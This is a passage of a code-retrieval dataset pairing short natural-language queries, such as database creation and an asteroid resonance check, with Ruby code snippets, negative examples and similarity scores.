INTEGER,\n plasticity VARCHAR(63),\n toughness VARCHAR(63),\n other VARCHAR(255),\n FOREIGN KEY (bh_id) REFERENCES boreholes(id),\n FOREIGN KEY (logger_id) REFERENCES geologists(id)\n )\n SQL\n\n db.execute(create_project_table)\n db.execute(create_geo_table)\n db.execute(create_borehole_table)\n db.execute(create_sample_table)\n\n db\nend", "def create_migration_file\n return if skip_migration_creation?\n attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false\n migration_template \"create_table_migration.rb\", File.join(db_migrate_path, \"create_#{table_name}.rb\")\n end", "def ensure_database\n unless File.exist?(\"./items.csv\")\n puts \"Restoring items database.\"\n update_database\n end\n end", "def create_db(database)\n @conn.query({url_path: database, method: :put})\n end", "def init_database\n\t\tif(!@DB.table_exists?(:events))\n\t\t\t@DB.create_table :events do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :description\n\t\t\t\tString :date\n\t\t\tend\n\t\tend\n\n\t\tif(!@DB.table_exists?(:timeslots))\n\t\t\t@DB.create_table :timeslots do\n\t\t\t\tString :time\n\t\t\t\tString :parent_table\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\n\t\tif(!@DB.table_exists?(:attendees))\n\t\t\t@DB.create_table :attendees do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\tend", "def create_migration_file\n f = File.open File.join(File.dirname(__FILE__), 'templates', 'schema.rb')\n schema = f.read; f.close\n \n schema.gsub!(/ActiveRecord::Schema.*\\n/, '')\n schema.gsub!(/^end\\n*$/, '')\n\n f = File.open File.join(File.dirname(__FILE__), 'templates', 'migration.rb')\n migration = f.read; f.close\n migration.gsub!(/SCHEMA_AUTO_INSERTED_HERE/, schema)\n \n tmp = File.open \"tmp/~migration_ready.rb\", \"w\"\n tmp.write migration\n tmp.close\n\n migration_template '../../../tmp/~migration_ready.rb',\n 'db/migrate/create_framey_tables.rb'\n remove_file 'tmp/~migration_ready.rb'\n end", "def create_migration_file\n return unless options[:migration] && options[:parent].nil?\n attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false\n migration_template \"../../migration/templates/create_table_migration.rb\", File.join(db_migrate_path, \"create_#{table_name}.rb\")\n end", "def initialize(attributes={})\n datestamp = \"backups_\"+Time.now.strftime(\"%Y-%m-%d_%H-%M-%S\")\n Dir.mkdir(BACKUP_DIR) unless File.exists?(BACKUP_DIR)\n new_filename = \"#{datestamp}_#{Rails.env}_dump.sql\"\n full_file_path = BACKUP_DIR + new_filename\n if attributes[:filename]\n @file = File.new(attributes[:filename])\n elsif attributes[:dir] # for testing, choose a convenient location for the files\n @file = File.new(Rails.root.join(attributes[:dir],new_filename), \"w\")\n else # normally create in the BACKUP_DIR path\n @file = File.new(full_file_path, \"w\")\n end\n end", "def initDb\n @db.create_table! :tasks do\n primary_key :id\n Integer :created\n Integer :changed\n Integer :wake\n Integer :completed\n Integer :status\n String :title\n String :path\n String :data, :text=>TRUE\n end\n\n @db.create_table! :locks do\n Integer :id, :primary_key=>TRUE\n Integer :locked\n end\n end", "def create!\n destroy!\n tables.each(&:create)\n end", "def create_schema\n puts \"Preparing table\"\n\n \tquery = <<-QUERY\n \t\tCREATE TABLE tasks (\n \t\t\tid INTEGER PRIMARY KEY,\n \t\t\ttitle TEXT NOT NULL,\n \t\t\tdescription TEXT,\n \t\t\tcompleted TEXT\n \t\t);\n \tQUERY\n db.execute(\"DROP TABLE IF EXISTS tasks;\")\n \tdb.execute(query)\n\n puts \"Table creation completed!\"\n\n end", "def admin_database(app_name, instance_name, action = :create)\n app_config = RailsPwnerer::Config[app_name, instance_name]\n # exit and don't complain if the app is busted\n return unless app_config and File.exists? app_config[:app_path]\n\n db_name, db_user, db_pass = app_config[:db_name], app_config[:db_user], app_config[:db_pass]\n \n with_temp_dir do\n # put together the admin script\n case action\n when :create\n sql_commands = <<ENDSQL\n CREATE DATABASE #{db_name} DEFAULT CHARSET=utf8;\n GRANT ALL ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_pass}' WITH GRANT OPTION;\nENDSQL\n when :rekey\n sql_commands = <<ENDSQL\n GRANT ALL ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_pass}' WITH GRANT OPTION;\nENDSQL\n \n when :drop\n sql_commands = <<ENDSQL\n DROP DATABASE #{db_name};\nENDSQL\n end\n \n # run it\n File.open('admin_db.sql', 'w') { |f| f.write sql_commands }\n dbroot_name = RailsPwnerer::Config[:host][:dbroot_name]\n dbroot_pass = RailsPwnerer::Config[:host][:dbroot_pass]\n dbpass_arg = dbroot_pass.empty? ? '' : \"-p#{dbroot_pass}\"\n system \"mysql -u#{dbroot_name} #{dbpass_arg} < admin_db.sql\"\n \n # cleanup\n File.delete('admin_db.sql')\n end \n end", "def create_default_config_files\n create_default_database_yml\n end", "def create_database(name, options = {})\n execute(\n \"CREATE SCHEMA #{quote_table_name(name)}\",\n SCHEMA_LOG_NAME\n )\n end", "def create_migration_file\n return unless options[:migration] && options[:parent].nil?\n attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false\n migration_template \"create_table_migration.rb\", \"db/migrate/create_#{table_name}.rb\"\n end", "def create_database!(name=nil)\n db = if name\n self.server.database!(db_name_with_prefix(name))\n else\n self.database!\n end\n create_rotation_filter(db)\n if self.respond_to?(:design_doc)\n design_doc.sync!(db)\n # or maybe this?:\n #self.design_docs.each do |design|\n # design.migrate(to_db)\n #end\n end\n return db\n end", "def create_db name\n \n req = Net::HTTP::Put.new \"/#{name}\"\n ret = @http.request req\n \n puts \"Creating Database #{name} => #{ret.msg} (#{ret.code})\\n\"\n \n end", "def create_tables\n self.conn.exec(\n File.read(\"./lib/creating_tables.txt\")\n \n )\n end", "def create_database(name, _options = {})\n execute(\"CREATE SCHEMA `#{name}`\")\n end", "def writable_database\n @writable_database ||= generate_database\n end", "def writable_database\n FileUtils.mkdir_p(File.dirname(path)) unless File.exist?(File.dirname(path))\n @writable_database ||= Xapian::WritableDatabase.new(path, Xapian::DB_CREATE_OR_OPEN)\n end", "def truncate_db\n drop_table\n create_table\n end", "def clear_db\n\t\tdb = SQLite3::Database.open \"simpl.db\"\n\t\tdb.execute \"DELETE FROM user;\"\n\t\tdb.execute \"DELETE FROM merchant;\"\n\t\tdb.execute \"DELETE FROM transactions;\"\n\tend", "def clear_db\n\t\tdb = SQLite3::Database.open \"simpl.db\"\n\t\tdb.execute \"DELETE FROM user;\"\n\t\tdb.execute \"DELETE FROM merchant;\"\n\t\tdb.execute \"DELETE FROM transactions;\"\n\tend", "def create_films_table\n @db.execute(\"DROP TABLE Films\")\n @db.execute(<<EOF\nCREATE TABLE films (\n title VARCHAR(200),\n date DATETIME,\n channel VARCHAR(200),\n start_time TIME,\n end_time TIME,\n year NUMBER,\n description TEXT,\n duration NUMBER,\n PRIMARY KEY(title, date, channel)\n);\nEOF\n )\nend", "def create\n @database = Database.new(params[:database])\n path = @database.path\n @database.active=false\n Dir.mkdir \"telemetries\" unless Dir.exists? \"telemetries\"\n Dir.mkdir \"telemetries/#{@database.mission}\" unless Dir.exists? \"telemetries/#{@database.mission}\"\n if !Dir.exists? path then\n Dir.mkdir path\n Dir.mkdir path+\"/input\"\n Dir.mkdir path+\"/processed\"\n end\n respond_to do |format|\n if @database.save\n format.html { redirect_to @database, notice: 'Database was successfully created.' }\n format.json { render json: @database, status: :created, location: @database }\n else\n format.html { render action: \"new\" }\n format.json { render json: @database.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_migration_file\n return unless options[:migration] && options[:parent].nil?\n attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false\n migration_template \"create_table_migration.rb\", \"db/migrate/create_#{table_name}.rb\"\n end", "def create\n database.command({ :create => name }.merge(options))\n end", "def create\n if @db.table_info(METADATA_TABLE_NAME).empty?\n stmt = \"CREATE TABLE #{METADATA_TABLE_NAME} (key VARCHAR(1024), val VARCHAR(8192), env VARCHAR(255))\"\n @db.execute(stmt)\n end\n\n if @db.table_info(RUN_HISTORY_TABLE_NAME).empty?\n stmt = \"CREATE TABLE #{RUN_HISTORY_TABLE_NAME} (name VARCHAR(1024), outcome VARCHAR(16), env VARCHAR(255), time DATETIME)\"\n @db.execute(stmt)\n\n index_stmt = \"CREATE INDEX index_run_history ON #{RUN_HISTORY_TABLE_NAME} (time DESC)\"\n @db.execute(index_stmt)\n end\n\n if @db.table_info(DISABLED_MONITOR_TABLE_NAME).empty?\n stmt = \"CREATE TABLE #{DISABLED_MONITOR_TABLE_NAME} (name VARCHAR(1024), env VARCHAR(255))\"\n @db.execute(stmt)\n end\n\n if @db.table_info(MONITOR_INFO_TABLE_NAME).empty?\n stmt = \"CREATE TABLE #{MONITOR_INFO_TABLE_NAME} (name VARCHAR(1024), description VARCHAR(8192))\"\n @db.execute(stmt)\n end\n end", "def db_create_sqlite3(*args)\n\t\t\tcmd_db_disconnect()\n\n\t\t\tif(args[0] and (args[0] == \"-h\" || args[0] == \"--help\"))\n\t\t\t\tprint_status(\"Usage: db_create [database-file-path]\")\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tinfo = db_parse_db_uri_sqlite3(args[0])\n\t\t\tdbfile = info[:path]\n\t\t\topts = { 'adapter' => 'sqlite3', 'database' => dbfile }\n\n\t\t\tif (::File.exists?(dbfile))\n\t\t\t\tprint_status(\"The specified database already exists, connecting\")\n\t\t\telse\n\t\t\t\tprint_status(\"Creating a new database instance...\")\n\t\t\t\trequire_library_or_gem('sqlite3')\n\t\t\tend\n\n\t\t\tif (not framework.db.connect(opts))\n\t\t\t\traise RuntimeError.new(\"Failed to connect to the database: #{framework.db.error}\")\n\t\t\tend\n\n\t\t\tprint_status(\"Successfully connected to the database\")\n\n\t\t\tprint_status(\"File: #{dbfile}\")\n\t\tend", "def create_database(db_name)\n config = Rails.configuration.database_configuration[Rails.env]\n password = Shellwords.escape(config['password'])\n new_db = \"mysqldump -u#{config['username']} -p#{password} -h#{config['host']} #{config['database']} > /home/rails/current/tmp/backup.sql;\n mysqladmin -u#{config['username']} -p#{password} create #{db_name};\n mysql -u#{config['username']} -p#{password} -h#{config['host']} #{db_name} < /home/rails/current/tmp/backup.sql\"\n system new_db\n end", "def initialize(file = File.expand_path(File.join(File.dirname(__FILE__), '../../../db/ush.sqlite.db')))\n FileUtils.touch(file) unless File.exist?(file) # create the db if it doesnt already exist\n puts \"Database is being stored at #{file}\"\n @db = SQLite3::Database.new(file)\n @db.execute 'CREATE TABLE IF NOT EXISTS pairings(url TEXT, code TEXT)'\n end", "def create_migration_file\r\n migration_template 'migration.rb', 'db/migrate/create_baby_dove_model_data.rb'\r\n end", "def initialize(file)\n\t\t#Initializes superclass -- creates database.\n\t\tsuper\n\t\t#Creates tables if they not exist\n\t\tTABLES.each do |table|\n\t\t\tsql = \"CREATE TABLE IF NOT EXISTS #{table.header} (\"\n\t\t\ttable.columns.each {|column| sql += \"#{column.header} \" +\n\t\t\t\t\"#{column.type_constraint}, \"}\n\t\t\tsql = table.constraint.nil? ?\n\t\t\t\t\"#{sql.slice(0, sql.length - 2)})\" :\n\t\t\t\t\"#{sql}#{table.constraint})\"\n\t\t\tself.transaction {|tdb| tdb.execute(sql)}\n\t\tend\n\tend", "def db_setup\n path_to_db = File.join(File.dirname(__FILE__), \"temp_humidity.db\")\n SQLite3::Database.open(path_to_db).tap do | db |\n # Do anything here before we begin\n end\nend", "def create_db_schema(connection)\n connection.execute 'CREATE TABLE documents (id INTEGER PRIMARY KEY AUTOINCREMENT, name)'\n connection.execute 'CREATE TABLE words (id, doc_id, value)'\n connection.execute 'CREATE TABLE characters (id, word_id, value)'\nend", "def prepare_db_data( f, cl, tbd, df )\n s = File::Stat.new( f )\n if ! s\n puts \"couldn't stat #{f}\\n\"\n next\n end\n\n # grab extension\n m = /(\\.\\w+)$/.match( f )\n if m && m[1]\n # yes it's redundant, but this way, if the file is outside of it's directory i have half a chance of knowing what it is\n new_pathfile = s.mtime.strftime( \"%m/%d/%m%d%H%M\" ) + m[1]\n else \n puts \"couldn't find file extension for #{f}\\n\"\n next\n end\n\n md5_checksum = Digest::MD5.hexdigest( File.read( f ) )\n\n # make directories if needed\n testfile = tbd + s.mtime.strftime( \"/%m\" )\n if ! File.exists?( testfile )\n Dir.mkdir( testfile )\n end\n\n testfile += s.mtime.strftime( \"/%d\" )\n if ! File.exists?( testfile )\n Dir.mkdir( testfile )\n end\n\n # copy file to new location\n FileUtils.copy( f, \"#{tbd}/\" + new_pathfile )\n\n # save data for db push\n df.push( { :class => cl, :created_text_date => s.mtime, :created_epoch_seconds => s.mtime.to_i, :pathfile => new_pathfile, :md5_checksum => md5_checksum } )\nend", "def create_initial_table_in_database\n if ScraperWiki.show_tables()[\"swdata\"] == nil\n ScraperWiki.sqliteexecute(\"CREATE TABLE 'swdata' ('date_scraped' text, 'description' text, 'info_url' text, 'council_reference' text, 'address' text, 'comment_url' text, 'page_content' text)\");\n end\nend", "def create_initial_table_in_database\n if ScraperWiki.show_tables()[\"swdata\"] == nil\n ScraperWiki.sqliteexecute(\"CREATE TABLE 'swdata' ('date_scraped' text, 'description' text, 'info_url' text, 'council_reference' text, 'address' text, 'comment_url' text, 'page_content' text)\");\n end\nend", "def db_insert!( db_file )\n ####db = SQLite3::Database.new( db_file )\n ####db.transaction do |database|\n #### if not database.execute( db_fetch ).empty?\n #### raise(IndexError, \"Entry exists for #{filename}, #{@rmr_number}, #{@timestamp.to_s}... Skipping.\")\n #### end\n #### database.execute( db_insert )\n ####end\n ####db.close\n puts \"SQLite3\"\n end", "def init(dir)\n dir = File.expand_path(dir)\n db_file = db(dir)\n raise \"Database #{db_file} already exists\" if File.exist?(db_file)\n FileUtils.mkdir_p(File.dirname(db_file))\n # create database\n monotone(\"db init\", db_file)\n # TODO: do a genkey\n monotone(\"read\", db_file) do |io|\n io.write(File.open(@keys_file).read)\n io.close_write\n end\n end", "def create_db(revision)\n Database.create(self, revision)\n end", "def db_setup\n path_to_db = \"/tmp/temp_humidity.db\"\n SQLite3::Database.open(path_to_db).tap do | db |\n # Do anything here before we begin\n end\nend", "def test_db_creates_table\n db = ::SQLite3::Database.new(self.class::DATABASE_NAME)\n assert_equal(db.table_info('reports'), [])\n\n db = ::WeatherReport::Database.db(database_name: self.class::DATABASE_NAME)\n assert !db.table_info('reports').empty?\n end", "def to_create_database_sql(db)\n db.send(:create_database_sql, self.name, {})\n end", "def setup_database\n ActiveRecord::Base.remove_connection\n\n ActiveRecord::Base.establish_connection(\n adapter: 'sqlite3',\n database: ':memory:'\n )\n\n ActiveRecord::Migration.suppress_messages do\n load File.expand_path('db/schema.rb')\n end\nend", "def create_database(name, options = {})\n options = options.reverse_merge(encoding: 'utf8')\n\n option_string = options.symbolize_keys.sum do |key, value|\n case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n when :template\n \" TEMPLATE = \\\"#{value}\\\"\"\n when :encoding\n \" ENCODING = '#{value}'\"\n when :tablespace\n \" TABLESPACE = \\\"#{value}\\\"\"\n when :connection_limit\n \" CONNECTION LIMIT = #{value}\"\n else\n ''\n end\n end\n\n execute(\"CREATE DATABASE #{quote_table_name(name)}#{option_string}\")\n end", "def create_database\n puts \"Creating database #{@db_name}...\"\n begin\n client = Mysql2::Client.new(:host => @db_host, :username => @db_user, :password => @db_pass)\n client.query(\"CREATE DATABASE #{@db_name}\")\n client.close\n rescue Exception => e\n puts \"An error occurred\\n #{e}\"\n end\n end", "def init_db\n db_filename = './coord_cache.db'\n puts \"Creating db file '#{db_filename}'\" unless File.exist?(db_filename)\n @coord_db = SQLite3::Database.new(db_filename)\n @coord_db.execute('CREATE TABLE IF NOT EXISTS coords ' \\\n '(id INTEGER PRIMARY KEY AUTOINCREMENT, ' \\\n ' osm_id BIGINT, ' \\\n ' lat REAL, ' \\\n ' lon REAL)')\nend", "def create_default_database_yml\n db_class = RailsInstaller::Database.dbs[config['database']]\n db_class.database_yml(self)\n end", "def create_initial_table_in_database\n\n if ScraperWiki.show_tables()[\"swdata\"] == nil\n\n ScraperWiki.sqliteexecute(\"CREATE TABLE 'swdata' ('date_scraped' text, 'description' text, 'info_url' text, 'council_reference' text, 'address' text, 'comment_url' text, 'page_content' text)\");\n\n end\n\nend", "def create_initial_table_in_database\n\n if ScraperWiki.show_tables()[\"swdata\"] == nil\n\n ScraperWiki.sqliteexecute(\"CREATE TABLE 'swdata' ('date_scraped' text, 'description' text, 'info_url' text, 'council_reference' text, 'address' text, 'comment_url' text, 'page_content' text)\");\n\n end\n\nend", "def create_database(name, options = {})\n options = options.reverse_merge(:encoding => \"utf8\")\n\n option_string = options.symbolize_keys.sum do |key, value|\n case key\n when :owner\n \" OWNER = \\\"#{value}\\\"\"\n when :template\n \" TEMPLATE = \\\"#{value}\\\"\"\n when :encoding\n \" ENCODING = '#{value}'\"\n when :tablespace\n \" TABLESPACE = \\\"#{value}\\\"\"\n when :connection_limit\n \" CONNECTION LIMIT = #{value}\"\n else\n \"\"\n end\n end\n\n execute \"CREATE DATABASE #{quote_table_name(name)}#{option_string}\"\n end", "def import_schemata!\n output 'Dropping and re-creating table definitions'\n result = mysql_root_cmd \"source #{Jetpants.export_location}/create_tables_#{@port}.sql\", terminator: '', schema: true\n output result\n end", "def import_schemata!\n output 'Dropping and re-creating table definitions'\n result = mysql_root_cmd \"source #{Jetpants.export_location}/create_tables_#{@port}.sql\", terminator: '', schema: true\n output result\n end", "def open_database\n if File.exist? @database_path\n validate_database\n @db = SQLite3::Database.new @database_path\n else\n initialize_database\n end\n end", "def tes_load_db\n setup_clean_accounts\n Movements.create('any', '2013-01-01', 10, @cash, @income)\n\n SQLite.dbs_close_all\n Accounts.delete_all(true)\n SQLite.dbs_open_load\n\n Accounts.dump true\n end", "def initialize_db_schema\n @db.exec(\n 'create table if not exists nodes\n (\n id SERIAL PRIMARY KEY,\n host VARCHAR(256) UNIQUE,\n last_seen TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,\n current_report INTEGER\n );\n\n create table if not exists collections\n (\n id SERIAL PRIMARY KEY,\n collection VARCHAR(256) NOT NULL,\n archived BOOL DEFAULT FALSE\n );\n\n create table if not exists reports\n (\n id SERIAL PRIMARY KEY,\n node_id INTEGER NOT NULL,\n file_handle INTEGER,\n status INTEGER NOT NULL,\n collection INTEGER NOT NULL,\n time TIMESTAMP NOT NULL,\n resources_changed INTEGER NOT NULL,\n resources_failed INTEGER NOT NULL,\n resources_total INTEGER NOT NULL,\n runtime REAL NOT NULL,\n new_report BOOL DEFAULT FALSE,\n FOREIGN KEY (node_id) REFERENCES nodes (id),\n FOREIGN KEY (collection) REFERENCES collections(id)\n );\n\n create table if not exists schemaversion\n (\n id SERIAL PRIMARY KEY,\n complete BOOL DEFAULT FALSE,\n comment VARCHAR(256) NOT NULL\n );\n create table if not exists reportdata\n (\n id SERIAL PRIMARY KEY,\n report bytea\n );\n '\n )\n end", "def jump_sql\n \n FileUtils.cd(@app_path+\"/lib/tasks\",:verbose => true)\n if File.directory? @d\n puts \"Directory #{@d} exists\"\n else\n FileUtils.mkdir @d, :mode => 0700, :verbose => true\n end\n \n FileUtils.cd(@d,:verbose => true)\n @n = Time.now.strftime(\"%H%M%S\")\n @h = File.open(@n,\"a+\")\n @h.write(\"\\n#{@sql}\\n\")\n \n end", "def init_db\n @file.syswrite @current_page.to_bytes\n end", "def create_migration_file\n #~ migration_template 'users.rb', 'db/migrate/create_users_table.rb',\n\t\t#~ migration_template 'profiles.rb', 'db/migrate/create_contact_details_table.rb',\n\t\t#~ migration_template 'subjects.rb', 'db/migrate/create_profiles_table.rb',\n\t\t#~ migration_template 'attachments.rb', 'db/migrate/create_attachments_table.rb'\n end", "def create_table\n sql = \"create table if not exists checksums (\n date varchar(25),\n basename varchar(70),\n suitename varchar(20),\n mtime varchar(25),\n md5 varchar(32),\n sha1 varchar(40),\n sha256 varchar(64)\n )\"\n @pkgdb.query(sql)\n end", "def update_db(cont)\n db = File.open('./database', 'w')\n db.write(Marshal.dump(cont))\n db.close\n end", "def create\n begin\n puts \"Creating...\"\n ActiveRecord::Schema.define do\n #create_table :test_relations do |table|\n # table.column :test_case_id, :integer\n # table.column :test_collection_id, :integer\n #end\n create_table :defaults do |table|\n table.column :configuration_id, :integer\n end\n\n\n # Project configuration\n create_table :configurations do |table|\n table.column :name, :string\n table.column :server, :string\n table.column :devkey, :string\n table.column :smtp_host, :string\n table.column :smtp_recipient, :string\n table.column :project, :string # aka prefix\n table.column :vm_user, :string\n table.column :vm_password, :string\n table.column :ssh_key_path, :string\n table.column :ssh_key_pw, :string\n table.column :base_path, :string\n table.column :output_path, :string\n table.column :public_options, :string\n end\n\n\n # A test collection is a collection of test, defined by project, testplan and build\n create_table :test_collections do |table|\n table.column :project, :string\n table.column :project_id, :string\n table.column :plan, :string\n table.column :plan_id, :string\n #table.column :build, :string\n #table.column :testrun_id, :string\n #table.column :test_cases, :string\n end\n\n create_table :test_cases do |table|\n table.column :urgency, :string\n table.column :name, :string\n table.column :file, :string\n table.column :external_id, :string\n table.column :platform_id, :string\n table.column :test_collection_id, :string\n\n end\n\n end\n\n rescue ActiveRecord::StatementInvalid\n # Table already created\n puts \"Setup already done. Destroy tables first before creating\"\n end\n\n\n end", "def create_database_sql(name, opts = {})\n \"CREATE DATABASE #{quote_identifier(name)}\"\n end", "def create_database_yml\n print_title('Creating database configuration')\n\n @database = Database.create_config(self)\n logger.info(\"Database initialized #{@database}\")\n end", "def rollback_to_seed_data\n File.open(@database_config_path, \"w\") do |file|\n file.puts @original_database_config\n end\nend", "def write_food_group_table()\n puts <<SQL\ndrop table if exists FOOD_GROUP;\ncreate table FOOD_GROUP(\n id char(5) not null,\n description varchar(60) not null,\n primary key(id)\n);\nSQL\n\n read_data('FD_GROUP.txt') do |fields|\n puts make_insert_statement('FOOD_GROUP', fields, 'id', 'description')\n end\nend", "def add_file_to_database(name, path, size, owner)\n $db.execute(\"INSERT INTO files (owner_id, file_name, file_size, file_path, publicity) VALUES (?, ?, ?, ?, 0)\", [owner, name, size, path])\nend", "def setup\n\t\t# If there's no test database, we'll use the return statement to stop\n\t\t# executing the rest of this code block.\n\t\treturn unless File.exists?('test.sqlite3')\n\t\t# We'll delete everything in our database so that the results of one\n\t\t# test don't affect other tests.\n\t\tdb = SQLite3::Database.new('test.sqlite3')\n\t\tdb.execute \"DELETE FROM guestbook WHERE 1;\"\n\tend", "def create(database)\n <<-EOS.chomp\n#{database[:id]} = #{database[:database].singularize.capitalize}.new(\n#{indent(field_param(database[:fields]), 1)}\n)\nresponse[:_db_errors][:#{database[:id]}] = #{database[:id]}.errors.full_messages unless #{database[:id]}.save\n EOS\n end" ]
[ "0.70180553", "0.70034385", "0.6916622", "0.67767686", "0.6750496", "0.6745915", "0.67454153", "0.6736713", "0.66946566", "0.65877306", "0.65702873", "0.6518181", "0.64506614", "0.641259", "0.6378093", "0.6374572", "0.63407344", "0.6326909", "0.6324662", "0.63072497", "0.6294763", "0.62914234", "0.6284023", "0.62695545", "0.6269253", "0.6267993", "0.6242287", "0.6236853", "0.6217577", "0.62103397", "0.6209004", "0.6151819", "0.61249083", "0.61165595", "0.6110379", "0.6067358", "0.6062325", "0.6058846", "0.60330445", "0.60277265", "0.6025955", "0.60246587", "0.60239774", "0.6019207", "0.6002412", "0.6001912", "0.59981143", "0.5991455", "0.5987665", "0.59754455", "0.5962666", "0.5958648", "0.5958648", "0.5953438", "0.5949977", "0.5949323", "0.59443086", "0.5940699", "0.59240514", "0.5904597", "0.5900416", "0.5897143", "0.589453", "0.5894031", "0.58917654", "0.588515", "0.5869158", "0.5869158", "0.58639675", "0.58617073", "0.58610517", "0.5859308", "0.584222", "0.58342344", "0.5826354", "0.5818358", "0.580253", "0.57919246", "0.578572", "0.5772602", "0.5772602", "0.5767157", "0.5763585", "0.5763585", "0.5752112", "0.5738827", "0.57147", "0.57100964", "0.570634", "0.56954896", "0.56953305", "0.56856006", "0.56834185", "0.56818944", "0.5681124", "0.56758463", "0.5672655", "0.5664598", "0.56634474", "0.56577444" ]
0.8056952
0
Checks has the given asteroid resonance or no body_number: number of body
def check?(body_number) File.open(@db_file, 'r').each do |line| arr = line.split(';') if (arr[0].to_i == body_number) return true end end false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_bodies\n if bat.actor? && $game_system.actors_bodies?\n @effect_type = nil\n @effect_duration = 0\n elsif !bat.actor? && $game_system.enemies_bodies?\n @effect_type = nil\n @effect_duration = 0\n end\n end", "def ball_is_resting?(walls, true_normal)\n entropy < 1.5 && !walls.empty? && true_normal[:y] > 0.96\n end", "def sorrounded?\n enemies_around > 2\n end", "def body?\n !body.empty?\n end", "def has_body?\n @body\n end", "def random_body_location(roll)\n case roll\n when 1\n \"head\"\n when 2\n \"neck\"\n when 3\n \"torso\"\n when 4\n \"groin\"\n when 5\n \"right hand\"\n when 6\n \"left hand\"\n when 7\n \"right lower arm\"\n when 8\n \"right upper arm\"\n when 9\n \"right shoulder\"\n when 10\n \"left shoulder\"\n when 11\n \"left upper arm\"\n when 12\n \"left lower arm\"\n when 13\n \"butt\"\n when 14\n \"right thigh\"\n when 15\n \"right shin\"\n when 16\n \"right foot\"\n when 17\n \"left thigh\"\n when 18\n \"left shin\"\n when 19\n \"left foot\"\n when 20\n \"back\"\n end\nend", "def add(body_number, resonance, type = 1) \n if !self.check?(body_number)\n File.open(@db_file, 'a+') do |db|\n db.puts(body_number.to_s+';'+type.to_s+';'+resonance.inspect)\n end\n true\n else\n false\n end\n end", "def done?\n # Let's find the screen position of the particle\n pos = box2d.body_coord(body)\n # Is it off the bottom of the screen?\n if pos.y > height + r * 2\n kill_body\n return true\n end\n false\n end", "def square?()\n return (@height == @width) & (@type == \"rectangle\")\n end", "def rhizomes_in_use?\n rhizomes.any? { |r| r.batch != self && r.in_use? }\n end", "def body?\n\t\t\t\t\t@body and !@body.empty?\n\t\t\t\tend", "def already_smells?\n if self.robot.world.robots(&:moves).any? { |m| m.x == x && m.y == y && m.status == 0 }\n errors.add(:base, :already_smells)\n end\n end", "def can_have_body?\n Methods[@method].can_have_body\n end", "def in_body?(snake_body, cell)\n snake_body.keep_if { |body| body[:x] == cell[:x] && body[:y] == cell[:y] }\n return snake_body.length > 0\nend", "def done\n pos = box2d.body_coord(body)\n # Is it off the bottom of the screen?\n return false unless pos.y > box2d.height + r * 2\n\n kill_body\n true\n end", "def rent_magazine_number?(magazine_number)\n \tmagazine_number.magazine_items.each do |item|\n \t\treturn true if rent_magazine_item?(item)\n end\n return false\n end", "def rectangle?()\n return @type == \"rectangle\"\n end", "def must_have_body?\n Methods[@method].must_have_body\n end", "def body\n\n @r = rand(3)\n if @r == 1 \n \"\\n\\n\" + get_content('Intro', 'component') + \" \" + \n get_content(@emphasis, \"emphasis\") + \"\\n\\n\" +\n get_content(@ideologyKey, \"ideology\") + \"\\n\\n\" +\n if @geography != \"Other\" \n get_content(@geography, \"geography\") \n end \n elsif @r == 2 \n \"\\n\\n\" + get_content('Intro', 'component') + \" \" +\n get_content(@ideologyKey, \"ideology\") +\n \"\\n\\n\" + get_content(@emphasis, \"emphasis\") +\n\tif @geography != \"Other\" \n\t\"\\n\\n\" + get_content(@geography, \"geography\") \n\tend \n else \n\t \"\\n\\n\" + get_content('Intro', 'component') + \" \" +\n\t get_content(@emphasis, \"emphasis\") +\n\t if @geography != \"Other\" \n\t \"\\n\\n\" + get_content(@geography, \"geography\") \t\t \n\t end +\n\t \"\\n\\n\" + get_content(@ideologyKey, \"ideology\")\n end \t\nend", "def ensure_not_referenced_by_any_line_item \n if readings.count.zero? \n return true \n else \n errors[:base] << \"Readings present\" \n return false \n end \n end", "def smelly?\n !smells.empty?\n end", "def rental_queue?(magazine_number)\n RentalQueue.find(:first, \n :conditions => [\"user_id = ? and magazine_number_id = ?\", id, magazine_number.id]) != nil\n end", "def area?\n !note[TSBS::AreaTAG].nil?\n end", "def area?\n !note[TSBS::AreaTAG].nil?\n end", "def valid?\n return false if @body_type.nil?\n return false if @sensitivity.nil?\n return false if @discriminator.nil?\n true\n end", "def is_solid_masonery?()\n\n # p \"randomize is_solid_masonery?\"\n srand();rand(2)\n end", "def in_pegasus?\n # Document must have an id, which must be a \"b\" followed by a number...\n return false unless id && id.match(/^b\\d{2,9}$/)\n\n # And, confirm that the Location is \"Law\"\n\n # pull out the Location/call-number/holdings-id field...\n return false unless location_call_number_id = self[:location_call_number_id_display]\n # unpack, and confirm each occurrance ()\n Array.wrap(location_call_number_id).each do |portmanteau|\n location = portmanteau.partition(' >>').first\n # If we find any location that's not Law, this is NOT pegasus\n return false if location && location != 'Law'\n end\n\n true\n end", "def game_over?\n alive_robots.count == 1\n end", "def checkObstruction\n probabilityNotBlocked = 70\n number = rand(1..100) #This random simulates the probability of an obstruction (I supposed 30% of chance something is blocking the door)\n\n while number > probabilityNotBlocked\n @obstructionSensor = SensorStatus::ON\n puts \" ! Elevator door is blocked by something, waiting until door is free before continue...\"\n number -= 30 #I'm supposing the random number is 100, I'll subtract 30 so it will be less than 70 (30% probability), so the second time it runs theres no one blocking the door\n end\n\n @obstructionSensor = SensorStatus::OFF\n puts \" Elevator door is FREE\"\n end", "def checkroom(r)\n case r.status\n when :plan\n # moot\n when :dig\n # designation cancelled: damp stone etc\n r.dig\n when :dug, :finished\n # cavein / tree\n r.dig\n # tantrumed furniture\n r.layout.each { |f|\n next if f[:ignore]\n t = 